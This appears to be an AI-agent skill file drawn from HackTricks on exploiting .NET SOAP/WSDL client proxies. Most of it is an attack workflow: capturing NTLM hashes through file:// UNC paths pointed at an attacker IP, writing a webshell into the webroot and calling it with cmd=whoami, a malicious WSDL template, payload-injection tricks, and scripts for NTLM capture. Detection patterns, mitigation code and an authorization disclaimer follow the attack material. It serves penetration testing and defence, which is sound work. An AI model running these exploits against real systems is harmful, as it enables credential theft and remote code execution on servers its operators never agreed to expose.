Hacktricks-skills dotnet-soap-wsdl-exploitation

Exploit .NET SOAP/WSDL client proxy vulnerabilities for NTLM relay, arbitrary file writes, and RCE. Use this skill whenever you need to test for SoapHttpClientProtocol abuse, WSDL import vulnerabilities, or HttpWebClientProtocol scheme-agnostic bugs in .NET applications. Trigger this skill for any .NET web service testing, SOAP endpoint analysis, WSDL import functionality, or when investigating Barracuda, Ivanti, Umbraco, PowerShell, or SSIS SOAP-related vulnerabilities.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/network-services-pentesting/pentesting-web/dotnet-soap-wsdl-client-exploitation/SKILL.MD
source content

.NET SOAP/WSDL Client Proxy Exploitation

A skill for identifying and exploiting .NET SOAP client proxy vulnerabilities that arise from

HttpWebClientProtocol
's scheme-agnostic behavior.

Vulnerability Overview

The core issue:

HttpWebClientProtocol.GetWebRequest()
returns whatever
WebRequest.Create()
produces without enforcing HTTP-only handlers. This means:

  • http(s)://
    HttpWebRequest
    (expected)
  • file:///
    or
    \\host\\share\\
    FileWebRequest
    (arbitrary file write)
  • ftp://
    FtpWebRequest
    (FTP operations)
  • UNC paths → SMB/NTLM authentication (hash capture)

When combined with

ServiceDescriptionImporter
(WSDL import), attackers can control the proxy's
Url
property and method signatures, enabling pre-authentication RCE.

When to Use This Skill

Use this skill when:

  • Testing .NET applications with SOAP web service functionality
  • Investigating WSDL import features in products
  • Hunting for
    SoapHttpClientProtocol
    ,
    HttpWebClientProtocol
    , or
    ServiceDescriptionImporter
    usage
  • Analyzing Barracuda Service Center, Ivanti EPM, Umbraco 8, PowerShell
    New-WebServiceProxy
    , or SSIS vulnerabilities
  • Needing to craft malicious WSDL files for penetration testing
  • Testing for NTLM relay vulnerabilities via SOAP endpoints

Testing Workflow

Step 1: Identify SOAP Client Usage

Search for vulnerable patterns in the target application:

# Static analysis - grep for vulnerable classes
grep -r "SoapHttpClientProtocol" /path/to/app/
grep -r "ServiceDescriptionImporter" /path/to/app/
grep -r "New-WebServiceProxy" /path/to/app/
grep -r "HttpWebClientProtocol" /path/to/app/

# PowerShell-specific
Get-Command New-WebServiceProxy -ErrorAction SilentlyContinue

Step 2: Map User-Controllable Inputs

Identify where

Url
or WSDL inputs can be controlled:

  • Configuration files (app.config, web.config)
  • Database rows (stored WSDL URLs, endpoint configurations)
  • API parameters (WSDL import endpoints)
  • UI forms ("Add Web Service" features)

Step 3: Test Primitive 1 - NTLM Capture

If you can control the

Url
property:

  1. Set
    Url
    to a UNC path:
    file://<attacker-IP>/sink/payload
  2. Trigger the SOAP call
  3. Capture NTLM challenge/response with Responder or similar
  4. Attempt offline cracking or NTLM relay

Detection: Monitor for SMB connections from the web server to your infrastructure.

Step 4: Test Primitive 2 - Arbitrary File Write

If you can control the

Url
property:

  1. Set
    Url
    to a writable path:
    file:///inetpub/wwwroot/poc.aspx
  2. Invoke any SOAP method
  3. The SOAP envelope is written to the target path
  4. Check for the error:
    Client found response content type of 'application/octet-stream', but expected 'text/xml'

IOC: This error message after a SOAP call indicates successful file write.

Step 5: Weaponize WSDL Import

If the application imports WSDL files:

  1. Host a malicious WSDL with:

    • soap:address
      pointing to
      file:///
      or UNC path
    • Custom complex types for payload serialization
    • Namespace injection for script drops
  2. Trigger the import/compilation

  3. Invoke the generated method to write the payload

  4. Execute the dropped file (webshell, script, etc.)

Exploitation Primitives

Primitive A: UNC Path NTLM Leak

// Vulnerable code pattern
var proxy = new MySoapClient();
proxy.Url = userControlledUrl; // "file://attacker.local/share/payload"
proxy.SomeMethod(); // Triggers SMB authentication

Exploitation:

  1. Set up Responder:
    Responder -I <interface> -w
  2. Point
    Url
    to
    file://<your-IP>/share/payload
  3. Trigger the call
  4. Capture NTLM hashes

Primitive B: File Write via file://

// Vulnerable code pattern
var proxy = new MySoapClient();
proxy.Url = "file:///inetpub/wwwroot/shell.aspx";
proxy.SomeMethod("<payload>"); // Writes SOAP envelope to shell.aspx

Exploitation:

  1. Set
    Url
    to writable path in webroot
  2. Craft SOAP method with payload in arguments
  3. Trigger the call
  4. Access the written file:
    http://target/shell.aspx?cmd=whoami

Primitive C: WSDL-Based RCE

Use the

generate-malicious-wsdl.sh
script to create a WSDL that:

  • Sets
    soap:address
    to a file path
  • Defines complex types that serialize to executable code
  • Injects namespaces with encoded payloads

WSDL Crafting Guide

Basic Malicious WSDL Structure

<?xml version="1.0" encoding="utf-8"?>
<wsdl:definitions xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/"
                  xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
                  xmlns:tns="http://example.com/service">
  
  <wsdl:types>
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema">
      <xsd:element name="ExecuteCommand">
        <xsd:complexType>
          <xsd:sequence>
            <xsd:element name="Command" type="xsd:string"/>
            <xsd:element name="Output" type="xsd:string"/>
          </xsd:sequence>
        </xsd:complexType>
      </xsd:element>
    </xsd:schema>
  </wsdl:types>
  
  <wsdl:message name="ExecuteCommandRequest">
    <wsdl:part name="parameters" element="tns:ExecuteCommand"/>
  </wsdl:message>
  
  <wsdl:portType name="MyService">
    <wsdl:operation name="ExecuteCommand">
      <wsdl:input message="tns:ExecuteCommandRequest"/>
    </wsdl:operation>
  </wsdl:portType>
  
  <wsdl:binding name="MyServiceSoap" type="tns:MyService">
    <soap:binding style="document" transport="http://schemas.xmlsoap.org/soap/http"/>
    <wsdl:operation name="ExecuteCommand">
      <soap:operation soapAction="http://example.com/service/ExecuteCommand"/>
      <wsdl:input>
        <soap:body use="literal"/>
      </wsdl:input>
    </wsdl:operation>
  </wsdl:binding>
  
  <wsdl:service name="MyService">
    <wsdl:port name="MyServiceSoap" binding="tns:MyServiceSoap">
      <!-- CRITICAL: This becomes the proxy's Url property -->
      <soap:address location="file:///inetpub/wwwroot/shell.aspx"/>
    </wsdl:port>
  </wsdl:service>
</wsdl:definitions>

Advanced: Namespace Injection for Script Drops

When you can't control method arguments, inject payloads via namespace URIs:

<wsdl:definitions xmlns:tns="http://example.com/service?x=@{cmd='whoami'}">
  <!-- The namespace URI is copied verbatim into SOAP messages -->
  <!-- Can encode CSHTML Razor, PowerShell, or other payloads -->
</wsdl:definitions>

Advanced: Complex Type Serialization

Define custom types that serialize to executable code:

<xsd:complexType name="ScriptBlock">
  <xsd:sequence>
    <xsd:element name="script" type="xsd:string"/>
  </xsd:sequence>
  <xsd:attribute name="runat" type="xsd:string"/>
</xsd:complexType>

When serialized, this produces:

<script runat="server">// payload</script>

Detection and Hunting

Static Analysis Indicators

# Search for vulnerable patterns
grep -r "ServiceDescriptionImporter" /path/to/code/
grep -r "SoapHttpClientProtocol" /path/to/code/
grep -r "New-WebServiceProxy" /path/to/code/

# Check for user-controlled WSDL imports
grep -r "ServiceDescription.Read" /path/to/code/ | grep -v "http://"

Runtime Monitoring

  1. Log proxy creation: Instrument code to log
    Url
    schemes
  2. Alert on non-HTTP schemes:
    file
    ,
    ftp
    , UNC paths
  3. Monitor for characteristic errors:
    Client found response content type of 'application/octet-stream'
  4. Watch for unexpected file writes:
    .aspx
    ,
    .cshtml
    ,
    .ps1
    in web directories
  5. Network monitoring: SMB connections from web servers to external hosts

PowerShell-Specific Detection

# Monitor for New-WebServiceProxy usage
Get-EventLog -LogName Application -Source "PowerShell" | 
  Select-String "New-WebServiceProxy"

# Check for suspicious proxy objects
Get-Process | Where-Object {$_.Modules.ModuleName -like "*Soap*"}

Mitigations

1. Enforce Transport Validation

// Before invoking any SOAP proxy
var uri = new Uri(proxy.Url);
if (uri.Scheme != Uri.UriSchemeHttp && uri.Scheme != Uri.UriSchemeHttps)
{
    throw new InvalidOperationException(
        "SOAP clients must use HTTP or HTTPS only"
    );
}

2. Sanitize Imported WSDL

// Proxy WSDL downloads through a validation layer
public static string SanitizeWSDL(string wsdlUrl, string wsdlContent)
{
    // Reject non-HTTP/S addresses
    var doc = new XmlDocument();
    doc.LoadXml(wsdlContent);
    
    var nsManager = new XmlNamespaceManager(doc.NameTable);
    nsManager.AddNamespace("soap", "http://schemas.xmlsoap.org/wsdl/soap/");
    
    var addresses = doc.SelectNodes("//soap:address", nsManager);
    foreach (XmlNode address in addresses)
    {
        var location = address.GetAttribute("location");
        var uri = new Uri(location);
        if (uri.Scheme != Uri.UriSchemeHttp && uri.Scheme != Uri.UriSchemeHttps)
        {
            throw new SecurityException("Invalid WSDL address scheme");
        }
    }
    
    return wsdlContent;
}

3. Disable Untrusted WSDL Features

  • Replace "upload WSDL" features with vetted templates
  • Use allowlists for WSDL sources
  • Implement server-side proxy generation instead of client-side

4. Segregate Write Locations

  • App pools cannot write to executable directories
  • Separate volumes for data vs. code
  • Use read-only webroot where possible

5. Harden NTLM Exposure

  • Disable outbound SMB from web servers
  • Enforce SMB signing
  • Implement EPA (Extended Protection for Authentication)
  • Use Kerberos where possible

Known Vulnerable Products

  • Barracuda Service Center RMM (CVE-2025-34392)
  • Ivanti EPM (various SOAP connector vulnerabilities)
  • Umbraco 8 (Forms datasource WSDL import)
  • PowerShell (
    New-WebServiceProxy
    with untrusted WSDL)
  • SSIS (SOAP task configurations)

References

Quick Start Scripts

Use the bundled scripts for rapid testing:

# Generate a malicious WSDL template
./scripts/generate-malicious-wsdl.sh \
  --output malicious.wsdl \
  --target-path "/inetpub/wwwroot/shell.aspx" \
  --method-name "ExecuteCommand"

# Test for file write primitive
./scripts/test-file-write.sh \
  --wsdl malicious.wsdl \
  --target http://target-app/ImportWSDL \
  --verify-path "/inetpub/wwwroot/shell.aspx"

# Set up NTLM capture listener
./scripts/setup-ntlm-capture.sh --interface eth0

Safety and Ethics

This skill is for authorized penetration testing and security research only. Always:

  1. Obtain written authorization before testing
  2. Test in isolated environments when possible
  3. Document all findings and remediation steps
  4. Follow responsible disclosure practices
  5. Never use these techniques against systems you don't own or have explicit permission to test